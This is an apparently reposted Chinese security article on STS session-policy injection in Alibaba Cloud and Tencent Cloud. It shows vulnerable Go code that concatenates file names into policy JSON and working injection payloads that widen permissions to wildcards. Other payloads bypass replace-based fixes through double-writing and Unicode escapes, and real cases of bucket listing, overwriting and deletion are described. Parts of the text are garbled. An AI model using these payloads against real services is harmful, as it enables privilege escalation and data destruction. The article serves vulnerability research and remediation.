万字长文学习云安全 STS Policy注入在漏洞挖掘中的妙用
原创
行之
行之
亿人安全
2026年10月13日 10:37
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
前言
我是行之,好久都没更新了,发一篇最近分析的文章吧。随着云原生架构的普及,针对凭据与身份边界的攻击正成为主流。正好近期得知朋友挖掘了几个严重漏洞,于是跟他学习了一下思路,然后研读了一下海外云安全文献,发现是通过针对 STS(Security Token Service,安全令牌服务)的攻击:借助文件名、接口入参等可控字段篡改 STS 令牌下发逻辑,通过 STS Policy 注入获取高权限临时令牌,由此触发高危云上漏洞。原本计划讲个议题的,但国内相关研究文章偏少,既然没什么文章基础,于是先写篇长文沉淀一下,本文是我的学习过程,会从 AK/SK、STS 的基础原理讲起,搭配本地靶场搭建与真实的实战案例,为国内安全同行、白帽子提供攻防思路参考。本文纯手写原创,全文共一万字,欢迎各位安全同行交流探讨,也在此感谢先知社区提供发布平台。
一、先从一个最熟悉的注入说起:SQL
首先讲解STS云注入,我们最好先回到所有人都见过的 SQL 注入。它的本质其实是用户输入的数据被当作数据库代码进行了执行,也就是输入流入侵到了控制流的一个过程。
后端这么去写:
SELECT \* FROM uploads WHERE owner = '{input}';
开发者心里,input只是一个字符串值。正常输入alice时,数据库看到:
SELECT \* FROM uploads WHERE owner = 'alice';
但当input变成alice' OR '1'='1,前面那个单引号先把原字符串闭合,后面的内容就进入了 SQL 语法,数据库最后看到的是一个永真条件:
SELECT \* FROM uploads WHERE owner = 'alice' OR '1'='1';
记住这条数据流,下面会把同一个解释器换成 JSON 和云授权:
用户输入 → 字符串拼接 → 某门语言的源码 → 解释器 → 改变了语义
这里关于SQL注入,笔者不再赘述。历史上的很多漏洞都是输入流入侵到了控制流的过程,例如
SSTI(模板注入):输入进入 Freemarker、Velocity、Jinja2 的模板语法,${} 或 #{} 之间的内容被模板引擎当代码渲染,变成 RCE
Log4Shell(Log4j JNDI):输入的字符串里带 ${jndi:...},本该只是一行日志,却被 Log4j 当成查找指令触发 JNDI 加载,RCE。
所以只要我们能够找到输入流和控制流之间的关系,就可以更好的挖掘漏洞。
二、STS到底是个什么东西?
关于STS,很多人挖洞看到的通常是AK、SK、还有一个Token,比如长这个样子。
:\:examplebucket/exampledir/\*\" 那么 exampledir/../../target.txt 即使被接受,仍然只是一个以 exampledir/ 开头的 Key。它不会因此覆盖 Bucket 根部真正名为 target.txt 的对象。
简单来说就是无论你在客户端怎么传递,到了调用的时候其实还是会以字符串的形式进行传入,不能从输入流入侵到控制流。
哪些情况下会真的出现跨范围写入
这里自己学习了开发角度,就可以很容易明白如下这个案例

通过获取到的STS也是不能直接对OSS%20Browser拥有登录权限的
这里我们去看一下代码
在获取/api/v1/sts路由过来的fulPathFid参数后,发送给了AssumeRole(fullPathFid)
这里发现并没有对传递进来的内容做任何限制,而是传递到了下一层的provider.go
这里的第一个参数为bucket的值,是不可控的。第二个是fullpath的值,也就是文件名,此时文件名可控,所以最后的数据流转过程就是
main.go:77
读取%20文件名
↓
main.go:87
p.AssumeRole(fid)
↓
aliyun.go:24
生成%20Policy
↓
provider.go:38-41
fmt.Sprintf%20拼接%20fullPathFid
↓
aliyun.go:38
Policy%20放入%20AssumeRoleRequest
↓
aliyun.go:40
调用%20STS%20AssumeRole
↓
aliyun.go:45-55
返回临时%20STS%20凭证
还记得我们之前说过什么么,我们要找的是输入流可以入侵控制流的过程。我们来看这段代码
{
\"Version\":%20\"1\",
\"Statement\":%20[
{
\"Effect\":%20\"Allow\",
\"Action\":%20[
\"oss:GetObject\",
\"oss:PutObject\"
],
\"Resource\":%20[
\"acs:oss:\:\:%s/%s\"
]
}
]
}
此时我们知道了最后一个地方可以控制,那我们是不是可以注入写成
{
\"Version\":%20\"1\",
\"Statement\":%20[
{
\"Effect\":%20\"Allow\",
\"Action\":%20[
\"oss:GetObject\",
\"oss:PutObject\"
],
\"Resource\":%20[
\"acs:oss:\:\:存储桶的名字/x\"
],
\"Action\":%20[
\"oss:ListObjects\"
],
\"Resource\":%20[
\"acs:oss:\:\:存储桶的名字\"
]
}
]
}
这里很多人可能看不懂我在干什么,如果我把Payload拿出来应该就可以看得懂了。
这里的%20Payload%20会被放进原始%20Policy%20模板中第二个%20%s%20对应的位置。
原始代码是:
func%20aliyunVulnerablePolicy(bucket,%20fid%20string)%20string%20{
return%20fmt.Sprintf(
{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:GetObject\",\"oss:PutObject\"],\"Resource\":[\"acs:oss:\\*:\\*:%s/%s\"]}]},
bucket,%20fid)
}
假设
bucket%20=%20BUCKET
fid%20=%20x\"],\"Action\":[\"oss:ListObjects\"],\"Resource\":[\"acs:oss:\:\:\*
拼接后大致会变成:
{
\"Version\":%20\"1\",
\"Statement\":%20[
{
\"Effect\":%20\"Allow\",
\"Action\":%20[
\"oss:GetObject\",
\"oss:PutObject\"
],
\"Resource\":%20[
\"acs:oss:\:\:BUCKET/x\"
],
\"Action\":%20[
\"oss:ListObjects\"
],
\"Resource\":%20[
\"acs:oss:\:\:\*\"
]
}
]
}
这里我们依旧需要先理解几个基本概念。前面已经提到,Action%20代表允许执行的操作,Resource%20代表这些操作可以作用的资源。原本的代码只给%20Policy%20配置了:
\"Action\":%20[
\"oss:GetObject\",
\"oss:PutObject\"
]
拼接后的数据到底到了哪里?
因此,正常情况下,这份%20Policy只允许读取和上传对象,并没有%20oss:ListObjects%20权限。%20但现在,我把文件名参数当作%20Payload%20传入:%20x\"],\"Action\":[\"oss:ListObjects\"],\"Resource\":[\"acs:oss:\:\:\%20其中:%20x\"]%20用于闭合原来%20Resource%20数组中的字符串和数组;%20,\"Action\":[\"oss:ListObjects\"]%20用于追加新的%20Action%20字段;%20,\"Resource\":[\"acs:oss:\:\:\%20用于追加新的%20Resource%20字段,并把资源范围扩大到更大的范围。%20最后,原始模板后面剩余的:%20\"]}]}%20继续补全整个%20JSON%20结构。%20因此,问题并不是我们修改了%20Go%20源码中的%20Action,而是通过文件名参数注入,让原本只应当作为数据使用的%20fid%20参与了%20Policy%20JSON%20的生成。后端随后把这段拼接结果交给阿里云%20SDK,SDK%20再调用%20STS%20的%20AssumeRole%20接口申请临时凭证。
最终得到的Payload就变成了
?fid=x%22%5D%2C%22Action%22%3A%5B%22\%22%5D%2C%22Resource%22%3A%5B%22\
这里出现了重复键Action。绝大多数%20JSON%20解析器对重复键采用\"后者覆盖\",于是这条%20Statement%20的Action最终是[\"\\",\"\"],Resource是[bucket/\,%20\*]——一条%20Statement、Statement%20数还是%201,但权限已经被放大到\"任意动作、任意资源\"(受角色上限约束)。
所以%20Policy%20注入和%20SQL%20注入同构:边界字符从单引号换成双引号、方括号、花括号;解释器从%20SQL%20parser%20换成%20JSON%20parser%20+%20云端授权。修复思路也一样:数据保持数据,不让它参与语法生成。
漏洞验证
使用Policy注入得到的高权限STS接管存储桶进行列桶
这里需要注意的是我们的权限在到Action上限的约束,没有办法对文件进行删除(但是真实环境中一般都会给ram,控制台,文件管理权限)
复盘一下链路
浏览器%20 GET%20/api/v1/sts?fullPathFid=X
→%20后端%20handler
→%20provider.go%20的%20aliyunVulnerablePolicy(bucket,%20X)%20 %20把%20X%20拼进%20Policy%20JSON
→%20把这段%20Policy%20作为%20Policy%20参数传给%20STS%20SDK%20的%20AssumeRole
→%20SDK%20把它%20URL%20编码%20+%20HMAC%20签名,发%20HTTP%20GET%20到
https://sts.aliyuncs.com/?Action=AssumeRole&...&Policy=
→%20STS%20返回临时凭证(AccessKeyId/Secret/SecurityToken/Expiration%20+%20RequestId)
→%20后端把临时凭证交给浏览器
→%20浏览器用临时凭证%20PUT%20到对象存储
所以\"拼接后的语句\"经过的是:后端代码%20→%20SDK%20→%20一条签名后的%20HTTP%20GET(Policy%20在%20query%20里)→%20STS。
[AssumeRole]%20provider=aliyun%20fullPathFid=\"\\\",\\"\\\"],\\"Action\\":[\\"\*\\",\\"\"
拼接后发给%20STS%20的%20Policy:%20{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:PutObject\"],\"Resource\":[\"acs:oss:\:\:sts-policy-article-20260725-7f3a/\\",\"\\"],\"Action\":[\"\*\",\"\"]}]}
(经%20SDK%20签名为%20HTTP%20请求发往%20STS
其他的云是否也可以这么利用?
我们来看一下其他云的逻辑,可以发现整体上的区别是不大的,只是在Policy申请的时候有一些细微的区别。
这里需要跟上用户id
这里其实都差不多,跟着文档走即可
这里还是先配置一个策略
我们赋予多个权限
唯一不同的是我在这里配置Action为所有
之后就是创建角色,然后在Policy后端对权限进行收缩。确保只有Put%20Object和GetObject权限
这里我们的代码其实并不需要大改
后端的代码为
func%20tencentVulnerablePolicy(region,%20appID,%20bucket,%20fid%20string)%20string%20{
return%20fmt.Sprintf(
{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:GetObject\",\"cos:PutObject\"],\"resource\":[\"qcs::cos:%s:uid/%s:%s/%s\"]}]},
region,%20appID,%20bucket,%20fid)
}
注入的Payload为
uploads/alice/x.txt\"]},{\"effect\":\"allow\",\"action\":[\"\\"],\"resource\":[\"\
腾讯云%20COS%20的资源格式通常写成:
qcs::cos:
比如我的是:
qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt
腾讯云%20COS%20的%20Resource%20通常需要使用包含地域、AppID、Bucket%20和%20Object%20Key%20的完整%20qcs%20格式,因此最初构造的%20Payload%20比较长。不过,经过实测,腾讯云%20STS%20也接受%20Resource:[\"\\"]%20这种通配资源写法。因此,在当前字符串拼接模板下,可以将%20Payload%20缩短为:uploads/alice/x.txt\"]},{\"effect\":\"allow\",\"action\":[\"\\"],\"resource\":[\"\该%20Payload%20先闭合原有的第一条%20Statement,再追加一条%20Action:\、Resource:\*%20的新%20Statement。腾讯云%20STS%20实际接受了这份%20Policy,返回结果中包含两条%20Statement。最终权限仍然受到%20CAM%20角色权限上限和其他显式拒绝策略的约束。
因此最终可以变成:
{
\"version\":%20\"2.0\",
\"statement\":%20[
{
\"effect\":%20\"allow\",
\"action\":%20[
\"cos:GetObject\",
\"cos:PutObject\"
],
\"resource\":%20[
\"qcs::cos:ap-guangzhou:uid/1320513951:BUCKET/uploads/alice/x.txt\"
]
},
{
\"effect\":%20\"allow\",
\"action\":%20[
\"\*\"
],
\"resource\":%20[
\"\*\"
]
}
]
}
这里需要注意:腾讯云会拒绝重复键,因此,腾讯云的做法不是在同一条%20Statement%20中重复写一个action,然后等待后者覆盖前者,而是先把原来的%20Statement%20关闭,再追加一条全新的%20Statement。statement%20本身就是一个数组,数组里的每个对象就是一条独立的授权语句,所以第二个%20{%20\"effect\":%20\"allow\"%20...%20}%20直接作为%20statement%20数组的第二个元素即可。若在它上面再嵌套一个%20\"statement\",就会改变
策略结构,通常会导致格式错误或被云厂商拒绝。
五、真实业务下的STS权限注入
sts提权导致的文件覆盖
我们使用ai分析这个加密%20直接就把它解密出来了
即可利用提升权限的sts对resource的其他人的业务资源进行覆盖(没提升权限的sts无权限)
sts提权导致的列桶
这里存在一个%20Policy%20注入Policy%20后面会把就是把前面的覆盖所以我们相对于拿到这个桶的完全权限了,我们调用它的%20sdk%20就可以看到%20Listobject%20key
这个%20sdk%20可以获取全部的%20key,删除也没问题
这个%20key%20就会被我们删除然后配合%20listobject%20key%20就可以直接清空桶的内容
覆盖也没有问题%20这个配合%20list%20我们就可以覆盖别人的文件内容,但是为了不影响业务我就不执行这个
六、不同厂商的%20payload%20为什么不一样
第一个区别:注入点不同
阿里云的模板类似:
{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:GetObject\",\"oss:PutObject\"],\"Resource\":[\"acs:oss:\\*:\\*:%s/%s\"]}]}
这里用户输入位于:
acs:oss:\:\:BUCKET/
腾讯云的模板类似:
{\"version\":\"2.0\",\"statement\":[{\"effect\":\"allow\",\"action\":[\"cos:GetObject\",\"cos:PutObject\"],\"resource\":[\"qcs::cos:%s:uid/%s:%s/%s\"]}]}
这里用户输入位于:
qcs::cos:REGION:uid/APP\_ID:BUCKET/
两边都是把输入放进%20Resource,但前面的固定内容和后面的固定内容不一样。因此,同一个%20Payload%20字节放进去后,生成的%20JSON%20结构也会不同。
第二个区别:字段大小写不同
阿里云%20Policy%20使用:
{
\"Version\":%20\"1\",
\"Statement\":%20[],
\"Effect\":%20\"Allow\",
\"Action\":%20[],
\"Resource\":%20[]
}
腾讯云%20COS%20使用:
{
\"version\":%20\"2.0\",
\"statement\":%20[],
\"effect\":%20\"allow\",
\"action\":%20[],
\"resource\":%20[]
}
因此,阿里云的注入片段要写:
\"Action\":[\"\\"],\"Resource\":[\"\
腾讯云则要写:
\"action\":[\"\\"],\"resource\":[\"\
如果大小写写错,Policy%20可能被当成未知字段,或者直接被%20API%20拒绝。
第三个区别:重复键的处理不同
阿里云接受类似这样的结构:
{
\"Action\":%20[\"oss:GetObject\"],
\"Action\":%20[\"\*\"]
}
在本次验证中,后出现的Action被采用,所以只需要在原来的%20Statement%20中追加重复键,最终仍然只有一条%20Statement。
腾讯云的情况不同。类似结构会触发:
Policy%20have%20duplicate%20key:%20action
因此腾讯云不能沿用阿里云的“重复键覆盖”路线,而要改成新增%20Statement:
{
\"statement\":%20[
{
\"action\":%20[\"cos:PutObject\"],
\"resource\":%20[\"OBJECT\_KEY\"]
},
{
\"action\":%20[\"\*\"],
\"resource\":%20[\"\*\"]
}
]
}
这就是为什么腾讯云%20Payload%20会比阿里云%20Payload%20多出:
\"]},{
它的作用是结束第一条%20Statement,并开始第二条%20Statement。
这里我就不再多说了,直接去不同的云厂商编辑一下策略就可以明白了
第四个区别:Resource%20是否需要写完整资源串
如果想把权限限制在当前%20Bucket,一般写完整的%20COS%20Resource:
qcs::cos:REGION:uid/APP\_ID:BUCKET/\*
这种写法粒度比较明确,但%20Payload%20很长。
如果当前腾讯云%20STS%20API%20接受:
\"resource\":%20[\"\*\"]
那么可以使用更短的%20Payload:
uploads/alice/x.txt\"]},{\"effect\":\"allow\",\"action\":[\"\\"],\"resource\":[\"\
这两个%20Payload%20的区别只是%20Resource%20范围不同:
qcs::cos:REGION:uid/APP\_ID:BUCKET/\*
表示当前%20Bucket%20下的对象范围,而:
\*
表示更宽的资源通配范围。
不过,Resource:\并不自动等于拿到所有云资源。STS%20最终权限仍然需要和%20CAM%20角色权限取交集。如果角色只有%20COS%20上传权限,注入后仍然只会在这个上限内生效;如果角色同时拥有%20CVM、COS%20管理或其他服务权限,实际影响面就会更大,例如qcs::cos:\,最终权限永远受角色/CAM%20上限、会话%20Policy、显式%20Deny%20和服务自身资源模型共同限制。Action:\与Resource:\只是请求的权限集合,不会超出角色上限。
第五个区别:Statement%20数量只是结构差异
阿里云的Payload:
Statement%20数量:1
腾讯云的短%20Payload:
Statement%20数量:2
阿里云依赖重复键,所以一条%20Statement%20就能覆盖字段;
腾讯云拒绝重复键,所以要新增%20Statement;
单纯传入
\*
时,甚至可以保持一条%20Statement,只把%20Resource%20放宽到
BUCKET/\*
。
真正需要检查的是每条%20Statement%20的:
Effect
Action
Resource
Condition
最后总结
漏洞根因相同:用户输入进入%20Policy%20语法
注入目标相同:扩大%20Action%20或%20Resource
实现路径不同:适应各自的%20Policy%20解析规则
阿里云当前路径可以概括为:
闭合字符串%20→%20重复键覆盖%20→%20Statement=1
腾讯云当前路径可以概括为:
闭合字符串%20→%20新增%20Statement%20→%20Statement=2%20或%203
因此,换云时不能只替换oss和cos这两个动作前缀。还需要重新确认:
Policy%20字段大小写;
Resource%20格式;
Action%20前缀;
重复键是否被接受;
Resource:[\"\*\"]
是否被接受;
原始模板尾部需要如何补齐;
CAM%20或%20RAM%20角色自身的权限上限。
七、绕过链:从%20Policy修复到Unicode二次注入
这里也是感谢朋友给提供的案例,在平台显示修复后,去问AI可能的修复方式,因为之前已经知道了此家厂商喜欢用Go语言作为主语言进行开发(返回头也有具体版本),因此本地搭建环境尝试进行绕过。
这里AI给的例子是
strings.ReplaceAll(input,%20\"\*\",%20\"\")
strings.ReplaceAll(input,%20\"Action\",%20\"\")
strings.ReplaceAll(input,%20\"{\",%20\"\")
strings.ReplaceAll(input,%20\"}\",%20\"\")
开发喜欢这么修复
func%20weakSanitize(input%20string)%20string%20{
for%20\_,%20token%20:=%20range%20[]string{\"\*\",%20\"Action\",%20\"{\",%20\"}\"}%20{
input%20=%20strings.ReplaceAll(input,%20token,%20\"\")
}
return%20input
}
对字符串去进行替换,可以进行修复。但是我们学过sql注入知道一个东西叫做双写绕过。因此我在思考的过程中也是尝试用SQL注入的双写进行绕过。原本的payload可以替换成
Action-》ActACtionion
{->{{
也可以利用unicode去绕过它
\u002a%20是%20JSON%20标准中的%20Unicode%20转义写法,绝大多数主流语言的%20JSON%20解析器都会把它解析成%20\*。
{
\"action\":%20[\"\u002a\"]
}
解析后通常等价于:
{
\"action\":%20[\"\*\"]
}
这里我觉得也没必要太过于解释,做安全的应该都学过
这里也可以去云厂商进行Debug一下,发现其实云厂商也是支持这种写法的
随便输入一个不存在的Unicode提示不正确
输入\*编码后的
因此朋友后面又靠绕过特殊字符拿到了高危
uploads/alice/x.txt\"],\"\u0041ction\":[\"\u002a\"],\"\u0052esource\":[\"\u002a
uploads/alice/x.txt\"],\"\u0061ction\":[\"\u002a\"],\"\u0072esource\":[\"\u002a
等%20JSON%20解析完成后,才还原成真正的字段名和通配符。用于闭合原始%20Resource%20字符串的%20\"%20仍需保留。
八、为啥我输入\*不能列桶?
在写这篇文章的时候,有小伙伴问了我一个问题,那既然输入流可以入侵到控制流,为什么在配置了ListObjects权限的时候,用\*当作文件名不会列桶呢,带着疑问去做了一下复现。
这一节需要先区分两个概念:对象级权限扩大,以及%20Bucket%20级列举权限。
假设开发人员配置了如下%20Policy:
{
\"Version\":%20\"1\",
\"Statement\":%20[
{
\"Effect\":%20\"Allow\",
\"Action\":%20[
\"oss:GetObject\",
\"oss:PutObject\",
\"oss:ListObjects\"
],
\"Resource\":%20[
\"acs:oss:\:\:BUCKET/\*\"
]
}
]
}
这里包含三个动作:
oss:GetObject
:读取对象;
oss:PutObject
:写入对象;
oss:ListObjects
:列举%20Bucket%20中的对象。
其中,GetObject和PutObject通常针对对象资源,而ListObjects通常是%20Bucket%20级操作。因此,不能只看%20Action%20列表,还要同时检查每个动作对应的%20Resource%20是否符合云厂商的权限模型。
传入普通文件名时发生什么
假设服务端使用下面的模板:
resource%20:=%20fmt.Sprintf(
\"acs:oss:\:\:%s/%s\",
bucket,
fullPathFid,
)
传入:
123.png
得到:
acs:oss:\:\:BUCKET/123.png
这个 Resource 通常只匹配一个对象。此时可以测试GetObject和PutObject是否限制在该对象范围内。
但是,不能简单地说“对 123.png 拥有 ListObjects 权限”。ListObjects通常要求 Bucket 级 Resource,常见形式是:
acs:oss:\:\:BUCKET
而不是:
acs:oss:\:\:BUCKET/123.png
如果云厂商不接受对象级 Resource 绑定到ListObjects,列举请求会返回AccessDenied。
把文件名改成 \* 会发生什么
传入:
\*
服务端会生成:
acs:oss:\:\:BUCKET/\*
ListObjects 是 Bucket 级的列举操作,不是针对某个单独对象的读取操作。因此不能像 GetObject 一样,把权限精确收缩到了:
BUCKET/uploads/alice/123.png
这里我测试的结果是其实会报错,列举授权
通常是 Bucket 级;请求可携带 prefix 只返回某个前缀。prefix 是结果过滤参数,不等于 Policy 把 ListObjects 收缩到单个对象。
什么情况下才可以列桶
要让 STS 真正执行列桶,通常需要同时满足:
Action 中包含
oss:ListObjects
;
Resource 使用云厂商要求的 Bucket 级格式;
RAM 角色本身允许该动作;
没有显式 Deny;
请求的 Bucket、地域和 Endpoint 正确。
更清晰的 Policy 应拆成对象级和 Bucket 级两条 Statement:
{
\"Version\": \"1\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Action\": [
\"oss:GetObject\",
\"oss:PutObject\"
],
\"Resource\": [
\"acs:oss:\:\:BUCKET/uploads/alice/123.png\"
]
},
{
\"Effect\": \"Allow\",
\"Action\": [
\"oss:ListObjects\"
],
\"Resource\": [
\"acs:oss:\:\:BUCKET\"
]
}
]
}
但如果所有上传请求都直接获得第二条 Statement,那么普通用户无需输入\*,申请一次正常 STS 就可能列桶。这属于上传凭证权限配置过宽,你也可以理解成脱裤子放屁,直接sts拿cdk探测权限就探测出来了,无论你输入啥他肯定都有这个权限
所以在输入\*的时候其实并不会当作资源通配符去解析,也就不存在列桶的问题
九:文末
STS Policy 注入的价值,其实仍然在于输入流入侵控制流这个老问题。当文件名、目录、扩展名、Object Key 等原本只应作为业务数据使用的参数,跨越数据边界进入 JSON Policy、模板、命令或查询语句时,它们就可能改变原本的授权语义。最终造成的未必都是传统意义上的代码执行,也可能是动作范围扩大、资源范围扩大、跨目录访问、对象覆盖,甚至临时凭证权限提升。
所以审计 STS 相关接口时,重点不只是看有没有下发临时凭证,而是要继续思考:用户输入最终进入了哪里?服务端生成了怎样的Action、Resource、Condition 和 Object Key?角色上限是什么?这份临时凭证在数据面实际可以做什么?
感谢 weiwei、zer0one、Clown 、知名小朋友等师傅在案例、思路和测试细节上提供的帮助。
参考文献
[1] 《STS 身份注入攻击》
https://mp.weixin.qq.com/s/RGHT7brTuLaJ91ouaLvRzQ
[2] 阿里云 RAM:AssumeRole API
https://help.aliyun.com/zh/ram/developer-reference/api-sts-2015-04-01-assumerole
[3] 阿里云 RAM:权限策略基本元素
https://help.aliyun.com/zh/ram/user-guide/policy-elements
[4] 腾讯云 CAM:策略语法
https://cloud.tencent.com/document/product/598/10603
[5] AWS IAM:Session Policies
https://docs.aws.amazon.com/IAM/latest/UserGuide/access\_policies.html#policies\_session
[6] AWS STS:AssumeRole API
https://docs.aws.amazon.com/STS/latest/APIReference/API\_AssumeRole.html
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论